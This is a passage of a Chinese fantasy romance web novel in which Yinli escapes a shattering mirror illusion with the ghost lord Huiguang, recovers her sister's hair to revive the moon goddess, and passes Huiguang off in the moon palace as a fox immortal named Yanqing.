银梨慌乱地抬起头,却见这座幽静的宅邸从墙面到地面都出现了无数裂痕,像一个马上就要落地的花瓶,随时都要碎掉。 满月已经升到正当空,是青霜他们要破坏幻境的时间了。 一片危在旦夕的狼藉中,回光还在月色下对她微笑。 他好像已经不打算去修补那些裂缝了。 “是外面的人要来了吧。” 回光轻描淡写地说。 然后,他看向银梨。 “好高兴,你还愿意和我在一起。” 回光说。 他将银梨的手捉到唇边轻吻,道:“我已经没有其他遗憾了。” 银梨满脸通红,气恼道:“不许高兴!” 他这话,就像在说随时可以对他动手一样。 无数记忆像在头脑中炸开。 一直攥在手里的匕首,掉到了地上。 等回过神来,银梨已经一把拽住回光的手,拉起他,往宅邸外面跑去! 回光看上去十分吃惊,张口欲言—— “不许说话!” 银梨就像预计到回光要说什么一样,他才刚一开口,就喝止了他。 银梨道:“补幻境已经来不及了,青霜他们打碎幻境,制造出裂缝,就有了从外面进来的入口。 “我没有出去,他们肯定很快就会进来,不能留在这里,得先去别处避避!” 银梨深吸了一口气说:“我没有打算一直留在这里,我也还要救姐姐。但是,现在,我也要救你!” 银梨拽紧了回光,夺路而逃! 第56章 夜间的风景不断从身侧掠过, 萧冷的风吹得两颊生冷。 银梨抓着回光,两人一身大红婚服,在满月的夜色中奔逃! 宅邸离他们越来越远了, 本该是十分紧迫的时刻, 可银梨心底里奇妙地生出一阵畅快—— 这就是顺从本心的、自在的味道。 拨开迷雾, 撇去所有冠冕堂皇的借口,她看清了自己的私心。 两人一路狂奔。 青霜以那座宅邸作为攻击幻境的落点,幻境也在那个位置被他打出了裂缝,但幻境的其他区域看上去并未受到影响, 仍然完好无缺, 离宅邸越远, 表面就越是安宁。 当然,这大概只是暂时的。 等青霜他们追入幻境,在宅邸中找不到回光, 肯定就会搜索其他区域,届时, 哪里都不安全。 银梨一边带着回光逃跑, 一边也不由感慨鬼君的力量强大—— 这个幻境如此巨大,最起码横跨数个县镇,还有无数山林,所有细节都与外界无异, 若不是银梨有进入幻境的记忆, 定然窥不出破绽。 要维持这种水平的幻象, 其中难度, 不可想象。 不过,这大概也与回光的本体是镜子有关,他可以映照世间万物, 以镜像来制造幻境,当然万无一失。 两人逃到了此前来逛过灯会的那个小镇。 因为时值满月,小镇中又有灯会,集市上熙熙攘攘,人声嘈杂,正好有利于遮掩。 银梨见湖边有一艘空的画舫,拉着回光躲了进去。 他们一进船舱,银梨立即将船牖都关上,这个画舫封得密不透风。 这下,终于只剩下他们两个人了。 银梨松了口气。 她一回头,却见回光正笑盈盈地望过来。 银梨:“……” 银梨脸红,耳朵高高一竖,怒道:“正逃命呢!不许嬉皮笑脸!” 回光笑意未减,将她揽入怀中,笑道:“你我的洞房花烛夜,好像每次拜完堂之后,都不能完整。” 回光从背后环住她,握住她的双手。 他说:“不过,我已经感到很圆满了。即使这就是我一生的最后一刻,我也觉得很幸福。” 画舫外悬着几盏花灯,幽光穿过窗户透入船中。 回光维持着他那般白衣仙人的形象,本就是光风霁月的相貌,在清冷之中,透出一丝超然。 “银梨,你可以用我去复活月神。” 他温和地说。 “你在幻境中清醒过来,随时可以离开,我已经输了。” 回光的语气很平静,银梨能听出他话语中的满足,他对此无怨无悔、愿赌服输。 银梨觉得鼻子酸了一下。 她低落了几分,但嘴上还是倔强道:“可我也输了,我不想你死。” 赌约本就是这样的。 只是那时想不到,弄到最后,她左右都不觉得自己赢 了。 回光看着她焦急的样子,微笑,摸了摸银梨的头。 他说:“你知道躲在这里,也只是权宜之计。幻境再怎么大,终究也有限,他们早晚会找过来。 “想要复活月神,就需要回光镜,即使不提复活的事,外面的人也不可能放弃你。 “若你希望,我倒也可以将他们都赶出幻境,甚至……” 回光在这里停顿了一下,没有说下去,但银梨明白他是什么意思。 凭回光的力量,说不定可以将他们都驱逐出去,甚至让他们全部闭嘴。 回光一笑:“但你应该不希望如此吧。” “……” 的确。 银梨想要保住回光,可是也不希望青霜他们有伤亡。 若回光真的那么做,必定会和青霜他们起冲突,青霜他们不会退让,一旦打起来,非死即伤。 银梨知道回光说的情况是事实,可她不想轻易放弃。 银梨道:“还有时间,还不到山穷水尽的地步,我们可以留在这里想想,有没有什么两全其美的办法。” 说白了,银梨不可能永远躲着青霜,拉着回光逃到这里,也只是暂时的拖延。 银梨站起来,在船舱中徘徊。 她说:“青霜不是不讲道理的人,我先去和他解释,他或许可以理解。” 回光笑道:“就算青霜理解,那月神怎么办?不用我,就没有办法复活月神,不复活月神,永夜就无法结束。 “永夜晚一日结束,苍生就多一日活在恐惧之中,这与放任更多人牺牲无异。 “更何况,我是鬼君,用我来复活月神,是最好的解决办法。” 银梨知道回光说的是对的。 当她知道自己的本体可以用于铸造回光镜的时候,她几乎没有任何犹豫。 可是,当牺牲的对象变成回光,她却觉得于心不忍。 银梨道:“再想想吧,一定还有更好的方法。” 回光倒是很洒脱。 他说:“银梨,你知道,这世上不是什么事都能如愿以偿的,有时候,注定要有放弃和牺牲。” 回光说得很慢,像是在等银梨缓过来,能接受他的话。 他说:“想要复活月神,就需要回光镜,要不然,就是你和青霜……如果非要是你的话,那我宁愿是我。” 银梨几乎想要哭了。 回光却望着她笑。 回光向银梨伸出手,示意银梨靠近。 他的声音,比任何时刻都要纵容,柔和地道:“到我身边来吧。能与你有这样的时光,看到你这样为我担心,我已经很快乐了。 “在最后,比起无用的挣扎,我更想要一些美好的回忆。” 银梨坐到他腿上,重新埋入回光怀中,口中却哽咽地道:“我不想就这样放弃。” 难道真的没有别的办法了吗? 银梨很清楚,这世上不是每件事都能随心所欲,有时候,放弃是别无选择。 可偏偏这一回,即使没有选择,她也想强求。 一定有什么方法…… 再想想,再想想,说不定会有什么办法能够峰回路转…… 这两天太多记忆涌入她的脑海,银梨一直处在轻微混乱的状态,思考能力大不如前。 其实,当所有记忆串联起来以后,银梨便觉得头脑中有什么呼之欲出,只差临门一脚,就能想出来。 要是现在放弃,她日后肯定会后悔…… 银梨绞尽脑汁。 复活姐姐…… 没有可用于复生莲的媒介…… 回光镜…… 姐姐…… 忽然,银梨在自己胸口摸到了什么东西。 她将那个东西拿出来,才发现是姐姐留下的那个护身符。 在进入回光镜的幻境里之前,银梨正是感觉到了这个护身符在发烫,才会决定与回光打赌。 银梨定定地看着这个护身符,愣住。 有什么,在脑海中浮现。 银梨猛地揪住回光的袖子:“回光,你制造的这个幻境,是一切都与真实世界一样,外面有的东西,里面也有吗?” 回光不明白银梨为何会问这个,但点了点头。 他说:“我能照见人心里的想法,也能通过人的意识来制造幻象。这个幻境,是依照你童年时的记忆创造的,只要你所见的世界中存在的东西,这里都会有。” 银梨服用的锁念草效力还没过,从这个幻境的情况看,恐怕是她告诉回光她与谢沉霄的过往时,回光便获取了她这段时期的记忆。 银梨急切地确认:“……这个幻境,是哪一年?” 回光回答:“明月历八百零七年。” ——明月历八百零七年! 银梨是真身进入幻境的,所以她现在与她真实的样子无异,但实际上,在这一年,她应该才七岁! 银梨几乎是立刻跳了起来,她拉起回光道:“我们去一个地方!” 银梨抓着回光出了画舫,一路往月东林的方向跑—— 月东林是离月宫最近的树林。 银梨循着自己的记忆,在月东林深处翻找,很快她找到了一大片的牛筋草—— 她连忙奔过去,在牛筋草的根部拼命挖了起来—— 这么多年来,银梨他们一直在试图复生姐姐,却无法如愿。 因为姐姐死在异火中,没有留下可作为媒介的血肉。 即使金琼师姐已经为他们栽培出了可用的复生莲,差了最关键的引子,便成了无用功。 ——就在这时,银梨手下触感一变,摸到了布料的质感。 她赶忙双手拨开泥土、往下翻找,然后,果然在牛筋草的根部,挖出了一个香囊—— 在银梨幼时,因为在姐姐讲命理课时刨垫子,姐姐将她抱到这里,给她讲了牛筋草又被称作千斤草的特性,告诉她所谓的“命中注定”,就是如此之重。 那时,姐姐剪下一缕头发,埋在了牛筋草下。 这缕头发,在后来,化作了银梨随身携带的那个护身符。 在现实世界,银梨来这个地方找的时候,是姐姐丧生于异火之后,当时银梨有一百多岁了,当年埋下的头发,早已化作护身符,不能再用来复活姐姐。 但在这个幻境的时空,银梨还不到八岁,距离这缕头发被埋下,才只有几年。 或许…… 银梨几乎颤抖着,将手伸入香囊之中。 银梨的脑海中,不自觉地浮现出了姐姐埋下头发那天的光景。 她笑着说:“银梨,这缕头发会在这里接纳牛筋草的精神气质,日后化作一道护身符。 “将来,你若遇上不愿轻易断掉的尘缘,它会为你续上,并增加两分庇佑,让一切更为顺意。” 慢慢地,银梨将手从香囊中拿了出来。 在她手中,是一缕乌黑的、尚未炼化的、属于神女月婵的,长发。 第57章 “银梨。” 记忆中的姐姐弯起眉眼, 神态清澈,笑着问她。 “不知未来你不愿断掉的尘缘,会是什么样的人呢?” 银梨握着手中的长发, 反复确认, 直到确定这正是姐姐之物, 激动得不能自已。 终于,可以救活姐姐了。 不仅如此,也能保住回光。 银梨拿着那护身符那么多年,却一直不懂姐姐的意思。 直到今日, 方才明悟。 这缕长发, 将为她续上两段尘缘。 姐姐, 还有回光。 她颤巍巍地将头发收回香囊中,再将它万分谨慎放入怀中藏好,等再低头, 银梨才发现自己紧张得手上都出了汗,精神都被抽空了。 这样一来, 最担心的两件事都能解决了。 峰回路转。 银梨深深吸了口气, 直到微凉的空气浸润满整个胸腔,她才重新有了活着的感觉。 “走吧。” 她对回光说。 “我们可以出去了。” 回光的鬼君身份肯定还是会有麻烦,但只要有了这缕头发,便不再需要在回光和姐姐之间做选择, 算有了可以商量的筹码。 回光看到银梨从香囊中拿出头发, 大致也明白了那是什么。 他自己都没想到自己制作出的幻境还能有这种用处, 不免有些惊讶。 听银梨提出离开, 回光没有意见,愿意遵从银梨的安排。 他问:“那我直接把我们从幻境里放出去,还是回宅子那里, 从裂缝出去?” 银梨正要回答,但转头看到回光的外表,忽然一顿。 银梨说:“怎么出去问题不大,但你的样子……离开幻境之后,最好还是换一下。” 回光仍旧是白衣仙君的形象,缥缈清逸,有着不出世的孤然。 这样其实很清俊。 只是,如果回光用这个样子出去,不说别的,见过云舒师兄的人再见到他,恐怕会很费解。 有一说一,回光并没有照单全抄,他的容貌和云舒师兄还是有些区别的,回光只是照着云舒的气质,给自己塑了一个相似的长相。 也幸好如此,要不然…… 银梨回想到她在幻境中与回光那些亲密的举动——撒娇、拥抱、亲吻——银梨不敢想象回光要是真和云舒师兄长得一模一样,她出去以后,要怎么面对云舒师兄,光是一想,就觉得不自在。 但即使是现在,回光身上的一些特征,宽袖白衣、淡色金眸,还是太像云舒了。 不至于分不清两个人,但外面的人看到回光,误以为他是云舒的亲兄弟,实在大有可能的。 银梨端详着回光,斟酌道:“今后你若是长期生活在外面,最好有一个相对固定的形象……你有什么想法吗?” 回光从来没考虑过这个问题,银梨忽然这样说,他看上去有些为难。 回光问:“我现在的样子,你不喜欢吗?” “……不是不喜欢。” 银梨试着解释。 她说:“一方面,你看上去和云舒师兄太过相似,出去以后不好解释,云舒师兄又有神眼,可以一叶知秋,只怕马上就会明白是什么情况,我们在他面前肯定会很尴尬; “另一方面……我喜欢的人是你。” 银梨说到这里,微微有些脸红。 但喜欢就是喜欢,是光明正大的事,银梨没有回避,挺直了腰杆。 她说:“只要是你,其实我不在意到底是什么长相。 “对你来说亦是如此……比起与其他人过于神似的相貌,难道你不希望,你在我心中,能有一个不会雷同的、独一无二的模样吗?” 听银梨这样说,回光有所领悟,认真考虑起来。 他说:“但是,没有参考,我不知道该化成什么样才好,也不知道你会不会喜欢。” 银梨引导着问:“你没有自己喜欢的长相吗?比如,特别喜欢的风格相貌,或者认为自己应该长成的长相。” 回光思索着。 过了一会儿,他的视线落在银梨身上,若有所想。 “这样的话……” 他斟酌着。 过了一会儿,他对银梨伸手道:“那你能不能过来,握着我的手?” 银梨:“?” 尽管疑惑,但回光如此说,银梨还是照做了。 回光嘴角微弯,望着她的眼神,如春风融雪。 他郑重地托住银梨的手,眼底倒映她的面容。 灵气骤然流转。 倏忽,银梨只觉得回光的气息像风一样裹住了她。 她眼前的光景像被吹散了,是回光在施展变化。 银梨经历过回光的许多次转变外貌,但像这样的,还是第一次。 她不由眯起眼,忐忑地向回光望去—— * 幻境外。 银月城,月宫。 数十名月宫弟子围着一面高悬在半空的玉镜,拼尽全力施展术法。 镜中之景虽有了裂痕,但玉镜纹丝不动。 已有数人进了幻境搜寻,幻境外的人一边维持着对镜像的攻势,一边亦极力感知着幻境中的动向。 “少君,幻境已经有了破裂的迹象,但一直没有找到公主的踪迹,鬼君的力量也没有变化的痕迹,接下来该怎么办?” 人群之中,君竹焦急地对青霜说道。 眼看着镜内没有进展,君竹已有些急切:“要不然,我也进幻境吧?” 她是进攻队列中的中流砥柱,能不断加大、维持幻境的裂痕,君竹功不可没,但在外面迟迟没有银梨的消息,又让她心绪难宁。 青霜同样着急,但他必须在外面主持一切,不能轻易离开。 青霜道:“再等一下,相信银梨,或许会有转机。” 青霜曾与幻境中的银梨接触过,知道幻境中的人要维持清醒极为不易。 他已经尽了力,仍不确定自己的劝导能不能说服银梨。 银梨是青霜的妹妹,没有人比他更担心银梨的安全。 尤其是,这个鬼君实在太危险了,若是错过离开幻境的机会,银梨的处境危在旦夕。 青霜紧张地观察玉镜内的动向,不敢错过分毫。 正在焦灼间,忽然,只见悬在空中的玉镜光芒一闪,镜中的景象消失了。 变故突然,众人大惊,正要慌乱,忽然,就见玉镜中放出几个人来,都是先前被派入幻境中寻找银梨的月宫弟子。 紧接着,又有两道人影出现在玉镜外。 那两个人一出现,玉镜一晃,竟在空中消失了。 所有事情发生得太快,而且毫无征兆,众人一时间都没反应过来。 等看清最后出现的是何人,人群马上骚动起来。 “公主!” 君竹第一个冲了过去! 君竹怕银梨刚从幻境中出来,会身体不适,一过去就想要扶她,但银梨摆了摆手,示意自己没事。 银梨看上去确实很精神,行走自如,不太需要帮助。 君竹见状,微微松了口气,正要问银梨的身体状态,她视线一转,便看到银梨身后还跟了个人。 等看清那人的相貌,君竹不由怔住,半晌说不出话。 良久,她才问道:“公主……这位是?” 不只君竹,其他月宫弟子也都注意到了和银梨一起出来的人。 那人实在有些不寻常。 方才从玉镜中出来的,皆是月宫弟子,都是熟面孔。 唯有此人兀地现身,却无人相识。 更何况,他的脸…… 在场之人,但凡看清了他的相貌,无一例外,俱是错愕。 那是个陌生的青年男子。 他生着白色的狐耳和九条狐尾,着素色宽袍,相貌端正俊逸,仙意凛然,说不出是什么缘故,但他只是站在那里,便有着梨花般纯粹洁净的翩然气质。 在场众人哑口无言。 这是……狐仙吗? 此人外观无疑极为出众,但令人震惊的原因,并不仅限于此。 ……太像了。 没有人认识这个人,可在场之人,任谁看他一眼,都觉得熟悉。 他和银梨站在一起,就像一镜之隔的镜子里外。 青年的个子要比银梨高大半头,两人五官稍有差别,性别也并不相同。 但除此之外,他有与银梨同样的狐耳狐尾,面容轮廓相仿,气质也极为相似,任谁一看,都会产生混淆的感觉。 简直就像同一种相貌气息,生在男女两种不同性别时,有了不同的表现。 这个陌生青年与银梨并肩时,两人看上去简直就像一对孪生兄妹。 甚至连银梨真正一同长大的兄长青霜,与银梨站在一起时,都未必能有如此相合。 …… 幻境之中,银梨看着回光刚化好的、与自己极为相似的外貌,亦吃了一惊。 她看回光,就像在看一面可以转换照镜人性别的镜子。 月色之下,相似的两人手握着手,面对面站着。 回光似乎是在映照了银梨的相貌之后,转换成了男子的样子,中间还微妙地按照银梨的审美喜好进行了一些细微调整,多掺了一两分清冷的气质。 崭新的回光,是狐仙男子的模样,比小宴更像青年,但比起极似云舒的白衣仙君,又要青涩两分。 银梨问他:“你……化成这样,就满意了吗?” 回光微笑望她,似乎很是满足。 他轻轻触碰银梨的面颊,说:“你不是说,让我变成自己喜欢的样子吗? “在这世上,没有什么比你的相貌,更让我喜欢了。” 回光非常高兴,很明显,这是他有史以来 最满意的一个形象。 回光说:“再说,我们是在同一块灵石里相伴而生的玉灵,说不定……我们本来就是该长得一样的。” 第58章 月宫之中, 鸦雀无声。 在场人数不少,可看着回光的相貌,没有人说得清这是什么状况, 所以没有人敢率先开口。 说实话, 看到回光选了这么个长相时, 银梨也有些无奈感。 但无论如何,回光与她相像,肯定是比与云舒师兄相像要不容易尴尬多了。 难得回光有自己的主意,银梨决定顺他的意。 银梨轻咳一声, 解释道:“鬼君已死, 但在幻境中, 我还找到了别的幸存者。这位……是我救出来的九尾狐仙,他叫……宴清。” 回光镜名声太赫,直接说他叫回光未免引人生疑, 银梨想了想,还是决定再把这个假名字拿出来用用。 回光的情况目前不宜公开, “回光”这个真名, 等将来时机成熟了,可以再恢复。 回光本人好像对此也没什么意见,“宴清”这个名字是银梨起的,他十分乐意被如此称呼。 银梨如此介绍回光, 在月宫之中, 就算是定性了。 众人自然不会怀疑银梨, 听她如此言之, 便恍然大悟,纷纷接受了这个说法。 这时,有人问道:“鬼君既死, 那回光镜呢?” 众人闻言,皆关切地看向银梨。 这个问题,算是问到了点上。 现在大家都知道鬼君就是回光镜,只要有了回光镜,就可以复活月神。 当今世上,没有比这最重要的事。 然而就在刚才,玉镜在众人面前消失了,没有人知道发生了什么。 银梨清了清嗓子,冷静地道:“鬼君被我杀死,回光镜也碎了,从此以后,世上不会有回光镜。” 此言一出,众人哗然。 银梨不等人群骚动,便继续往后说:“但是,我在回光镜中,取到了可以用于复活月神的信物。 “大家不用担心,待我与青霜、金琼师姐商议过,必可复活月神!” 话音刚落,阴云散去,柳暗花明。 对月宫来说,没有什么比复活月神更要紧的事了。 得知月神可以复活,人群顿时一阵欢欣鼓舞,气氛转忧为喜,果然不再有人纠结鬼君和回光镜去了哪里。 银梨松了口气。 见局面安定,银梨便对众人道:“幻境中波折,我有些乏了,要先回去歇息。复活月神之事,我近日就会召集人手,尽快进行,大家不必担心。” 话完,她带着回光往后面走,脱离了人群的视野。 待到人少的地方,银梨私下对君竹道:“这位……宴清仙君,我打算暂时安排他住在月宫之中,你去帮我问问,目前月宫中哪里有合适的客房。” 君竹闻言应下:“是。” 大抵是这位“宴清仙君”的相貌太过稀奇,便是君竹也不能免俗,路过时,没忍住又打量了他好几眼,方才领命而去。 * 月宫空屋不少,君竹那边很快选了一些客房。 银梨过目之后,选了一间离清辉殿稍近的。 银梨平时在清辉殿待得多,这样,她日后去找回光比较方便。 说来也巧,银梨选的这间客房,恰好与青霜所居的仙殿相邻。 青霜担心银梨的身体,对这位银梨从幻境中带出来的仙君亦有些好奇,听说银梨在安置客人,他便也赶过来尽地主之谊。 谁知,青霜一进屋,就哆嗦了一下,不禁道:“好冷。” 屋中,只有银梨、回光和青霜三人。 回光站在银梨身后,微笑着看青霜。 青霜一进屋就感到一阵难以形容的阴冷,青天白日的,还是在月宫,他却觉得像一脚踏进了闹鬼的荒屋,没由来地一个哆嗦。 青霜环顾屋子一圈,没看出什么异状,只得极不自在地搓了搓手臂上的鸡皮疙瘩,道:“……这间屋子,是不是太久没人住了?怎么有些阴森的感觉。” 回光站在原地未动。 银梨不动声色地将回光推得离青霜远些,道:“是吗?” 青霜不清楚什么缘故,银梨却很清楚。 回光本体的材料虽与她和青霜一样是滨海神玉,但他在永夜中被邪气侵染,染上了鬼怪的一面。 说白了,回光目前还是鬼君,身上有些阴冷之气是正常的。 银梨知道他可以收敛,对其他人应该问题不大,只是青霜对这些东西比常人敏感,从小就特别怕鬼,大约是觉察了些什么。 银梨试着遮掩:“我没有感到异常,许是错觉吧?” 青霜没有那么轻易被银梨说服,看上去有些戒备。 “我觉得不是,这屋子是有些问题,幽气极重,恐怕不宜人居。” 他停顿了一下。 “月宫内通常不会有这种情况,许是与先前那鬼君有关。” 青霜有些担心客人,严肃地想了想,看向回光:“这位仙君,你还是别住这里了,我给你换间客房吧?” 银梨心说回光住在哪里都是一样的,他到别的屋,新屋也要变冷。银梨正要回绝,回光微微一笑,倒先开口了。 他说:“这间屋子是我自己选的,我其实觉得正好气场与我相合,多谢青霜神君好意,不必更换了。” 青霜狐疑:“当真?” 回光回答:“当真。” 既然客人自己坚持,青霜便不好再多说什么。 只是青霜想想还是放心不下,再次郑重叮嘱道:“那你住在这里,千万要小心,一旦有什么不对劲,马上和我或者银梨说,我们给你换房。” 回光面色如常,温顺点头。 银梨好说歹说,总算将青霜劝走了。 只是,想起青霜警惕的样子,银梨心中不由生出一种异样来—— 青霜从小怕鬼,讨厌阴森的地方,以前他说过,他总觉得周围隐藏着有什么东西,让他很不自在。 ……与回光共感的时候,银梨看到,回光的确经常以看不见的灵识形态跟在他们两个身边,甚至还尝试过附身在青霜身上。 青霜这么怕鬼……不会和回光有关系吧? ……事到如今,也说不清楚了。 银梨感觉有些微妙。 想到这里,她回头提醒回光道:“青霜从小对鬼邪之物有些害怕,他对此感应也敏感,你平时离他远些,特别注意不要表现出正常仙神不会有的行为,万一吓到他,就不好了。” 不知道是不是银梨的错觉,总觉得回光的表情,有一瞬间表现出了遗憾。 银梨:“……我知道你能改变自己的长相,甚至可以没有脸,我先确认一下,你应该没有比这更异常的技能了吧?” 回光想了想,手放到脑袋上,像扭人偶似的,咔吧把头摘下来,拿在了手上。 银梨两眼一黑。 “好了,快装回去。” 银梨头痛扶额。 “这种事以后绝对不能在其他人面前做,尤其是在青霜面前!” 回光在银梨面前老实巴交的,银梨让他把头装回去,他就乖乖装回去了,还听话地点点头,表示明白。 但这时屋内只剩下他们两个人了,回光点完头,就慢腾腾地蹭过来,搂住银梨。 “……你好担心他。” 回光酸溜溜地道。 回光说的“他”,肯定是指青霜。 在幻境中共感的时候,银梨就感觉到,大抵是因为青霜取代了银梨兄长的位置,回光对青霜的感情颇为复杂,不能说完全没有同为玉灵的同类情谊,但见到青霜和银梨在一起时,他总免不了落寞。 银梨感觉回光应该是有点吃醋,正要回头捏捏他,谁知一转头就看到,回光现在也有狐耳,说这话的时候,一双耳朵都塌了下来。 ……这个动作,不会是跟她学的吧? 银梨凝了一瞬。 不过,看着回光的样子, 她的确心软了。 银梨道:“……我也担心你。要是让人觉察到你的异状,肯定会有麻烦的。” 说着,银梨停顿一下,又歉意地说:“……对不起。暂时不能向其他人公开你的身份,只能让你先用‘宴清’这个假名字遮掩着生活。 “青霜那边,等他对你有一定了解了,我肯定马上向他详细解释你的情况。 “但让你完全恢复真实身份,恐怕还要等时机成熟。” 目前的说辞,都是两人在幻境中就商量好的。 回光镜这个身份,一旦公开,还是太容易生出事端了。 回光记忆中,姐姐和引兰神女的选择,已经应证了这一点。 最一劳永逸的办法,就是对外公布,回光镜已经碎了。 至少目前来说,只有彻底消失,对回光来说最安全。 所以,他们决定用“鬼君已死”、“回光镜碎裂”的说法,将回光隐藏起来。 只是,既如此为之,回光的真实身份,只怕很长时间里,都只能是个秘密了。 至于青霜那边,肯定是要尽快告诉他实情的。 但现在就直接就告诉他回光是鬼君,只怕青霜难以接受,不会马上相信回光,还要怀疑银梨也被回光骗了。 所以,银梨决定徐徐图之。 先让回光在月宫里生活一阵子,让青霜对他积累一定的信任,银梨再去说明,青霜才更容易相信,回光是可靠的。 银梨对回光心怀愧疚,她握住回光的手,郑重地许诺道:“当下,我没有更好的办法。但我向你保证,早晚,我会让你恢复真实的身份,堂堂正正地在世间生活。” 回光笑了。 “其实,我不在意其他人怎么看我。无论是什么身份,只要能留在你身边,我都可以。” 他说。 “我本来没有想过这些……但现在,你愿意了解我、也知道了我是什么样的人,对我来说,已经是意想不到的幸福。” 他拥着银梨,轻吻她的额头。 银梨心尖一颤。 她踮起脚来,回应了这个吻。 …… 没多久后的一天,青霜忽然注意到银梨还戴着之前那个鬼信物。 龙凤呈祥的古玉,幽幽地坠在银梨腰间。 青霜怪道:“鬼君都已经死了,这个鬼信物怎么还在?不会这样都还没解开吧?” 银梨先是一愣,继而笑了笑。 她当着青霜的面,把鬼信物摘下来,在青霜眼前晃晃,证明无事。 然后,她又把玉系了回去。 银梨道:“我戴着,是因为我还挺喜欢的……这个,其实已经不是鬼信物了。” 现在,它只是个普通的定情信物罢了—— 作者有话说:再有个两三章收个尾就完结啦,大家有什么想看的番外的话可以跟我说=3= 第59章 从幻境中出来的第二天, 银梨立即召集了青霜、金琼师姐等人,开始商议用复生莲复活月神。 为保证万无一失,复活仪式最终决定在月宫举行。 血肉媒介和复生莲都已到位, 但从神女的发丝放入莲中, 到神女月婵在莲花中重生, 还需要五百个日月。 这五百日,需要有人日夜悉心照看复生莲,以免闪失。 当然,比起月神去世后, 与永夜邪鬼抗争的那一百余年, 这区区五百个日月的等待, 不过是小事。 金琼师姐会先回天水境将复生莲的最后一片花瓣催开,待复生莲长成,立即取下, 以最快速度送到月宫,再将神女的头发放入其中, 令其重生。 月宫离太阴星最近, 对月神的重生最有利,而且这里相对安全,灵气也相对稳定,适合复生莲二次生长。 这其中涉及许多细节, 银梨等人日夜不歇地在书房中商量了数日。 等所有关节敲定, 已过了小半月。 银梨亲自送金琼师姐离开银月城, 待回到月宫, 忽见花园中,一群人正围着一棵大月梨花树,熙熙攘攘的, 好不热闹。 银梨难得见这么多月宫弟子聚在一起,不由多看了一眼。 她问跟在身边的君竹:“那边是怎么了,这么多人?” 君竹顺着银梨所言望过去,恍然大悟。 “他们应该是在祈福吧。” 君竹解释道。 “公主应该也知道,月宫以前就有说法,说月梨花是得太阴星之力开花的,花开得越盛,其中蕴含的仙力就越强。所以,从以前起,月宫弟子都喜欢在开得最好的月梨花树下祈福,认为这样愿力最为强大长久,讨个吉祥。” 银梨“啊”了一声,道:“但是,月宫里开得最好的月梨花,应该不是这一棵吧?” 这些月梨花都在月宫里长了数百年了,大部分比银梨年纪还大,每年开得都大差不差,哪几棵树是最能开的,大家心里都有数,反正不是花园门前这一棵。 花园门前的这棵月梨花,往年不仅不是开得最盛的,还一直有些病怏怏,负责照顾树的花仙费了许多劲,都没能让它好转,大抵是根子不佳。 君竹一笑,道:“说到这个,就不得不提公主从鬼君镜中救出来的那位宴清仙君了。” “……宴清?” “不错。” 君竹对银梨详细解释。 “公主在进入玉镜前,不是与那鬼君在月宫中打斗了一番吗?当时的打斗太过激烈,月宫中好多物件都损毁了,连月梨花都受到影响,好几棵月梨花树一夜之间都不开花了。” “现在局面安定,公主在书房的这几日,弟子们都在着手收拾当时留下的残局。” “那位宴清仙君大概是觉得被公主所救,又住在月宫中有所亏欠,这阵子一直在月宫中帮忙,做了不少事。” “他那天路过了花园口这棵月梨花,大概以为它看上去病怏怏的,也是受公主与鬼君那日打斗影响不开花的梨树之一,就顺手用仙术催了一下。” “谁知,他竟将这棵月梨花,直接催成月宫里花开最盛的了!” “……?!” 银梨听得吃惊:“可是,月梨花催花之术不是常见的仙法,要求不低,平时不都是由专门的花仙来负责的吗?” 君竹说:“奇就奇在这里了。听说那日宴清仙君看到这棵月梨花开得不好,去找负责的花仙聊了几句,结果他一回来,竟已学会了催花之术! “非但如此,他这一催,表现出的能力竟与月宫中数百岁的花仙旗鼓相当,甚至更胜一筹! “要知道,这催花之术,正常没个几年,是学不会的,更不要催的还是月宫中独有的月梨花了。” 君竹说得稀奇。 银梨倒是一听就明白了。 回光的本体是回光镜,可以映照人心。 他在幻境里就曾有过一夜之间就学会琴瑟的先例,想来,他去与花仙说话那时,便映照了花仙这方面的能力,将花仙的催花之术变成了自己的。 而且,回光同样是滨海神玉,当年一度被姐姐戴在身边,受过太阴之力的育化。 月梨花偏爱太阴之气,回光只要隐匿他被永夜影响的那一面,只用灵气来催月梨花,那必定是比花仙催的好的。 没等银梨感慨回光镜的特性确实好用,君竹开了话匣子,已经继续往下说了—— “这位宴清仙君,可真不得了。” “公主这些日子都与少君他们闷在书房中议事,可能不知道,这位宴清仙君,可是帮月宫干了不少事。” “公主与鬼君斗法那日,百草殿外面的一尊石狮子也被震碎了。” “宴清仙君见到后,不知用了什么仙法,竟直接化了一座新的石狮子出来,摆在了外面!” “还有,这位仙君修为实在很是高深!” “前几日又有邪鬼试图入侵灵地,公主和少君都在忙,月宫缺人手。” “宴清仙君听闻之后,当仁不让,马上就一众月宫弟子一起去了。” “听说那天的邪鬼数量极多,还分外难缠。” “但宴清仙君孤身一人就将所有邪鬼引到远处,一人一剑,了结了所有鬼怪,随后翩然归来,未伤旁人分毫。” 银梨:“……” 石狮子大概是回光直接从玉镜的镜像中取出来的吧。 至于那些邪鬼…… 回光现在还是鬼君,从之前的情况看,很多邪鬼会有投奔鬼君的倾向。 那些邪鬼,是回光杀的大概不假,但没准也是他引来的。 银梨这些话不好说出口。 君竹则是心有戚戚。 “这位宴清仙君,修为高深莫测,天资卓越,学习能力更是迥异于常人。” 她说。 “连这样的仙君都能吞到镜中,那个回光镜所化的鬼君……究竟是何等可怕的邪物啊?” 说到这里,君竹不由佩服地看向银梨:“想来,那样难对付的鬼君,必定是公主稳重聪慧,才能过人,在幻境中不断与他周旋,才顺利制服鬼君。” 银梨:“……” 银梨内心的想法一言难尽,面上还是顺着君竹的话道:“嗯,鬼君凶狠,在幻境中,多亏那位宴清仙君帮了我许多。” 君竹笑道:“宴清仙君在月宫也是出力不少,他实力出色,又谦逊过人,现在很是得大家青睐,许多人有事没事都要找他说话呢。 “说来……这其中可能也有公主的缘故。” “我?” 银梨本来只是听听,没想到还有她的事。 君竹问:“公主自己难道没有觉察……这位宴清仙君,外表气质与公主很是相似吗?” 银梨:“……” 银梨一时不知该摆个什么表情才好,只能道:“……像吗?” “像!” 君竹笑了。 她说:“公主自己可能不太清楚,公主坚韧清傲,又是月神的妹妹,这些年来,大家都对公主极为敬佩,其实许多人都对公主心怀向往,只是不敢接近。 “宴清仙君外表气质与公主如此相似,身份上却没有公主那么遥不可及,大家自然感到亲切。 “许多弟子私下都说,这位宴清仙君,简直就像公主调了个性别似的。” 银梨一顿。 没想到回光选了个与她相似的相貌,还有这样的作用。 ……不过,若能帮助回光融入月宫,倒是件好事。 她的嘴角不自觉地往上抬了一下,只是太过轻微,连银梨自己,都并未察觉。 …… 银梨与君竹说着话,不知不觉走回了清辉殿。 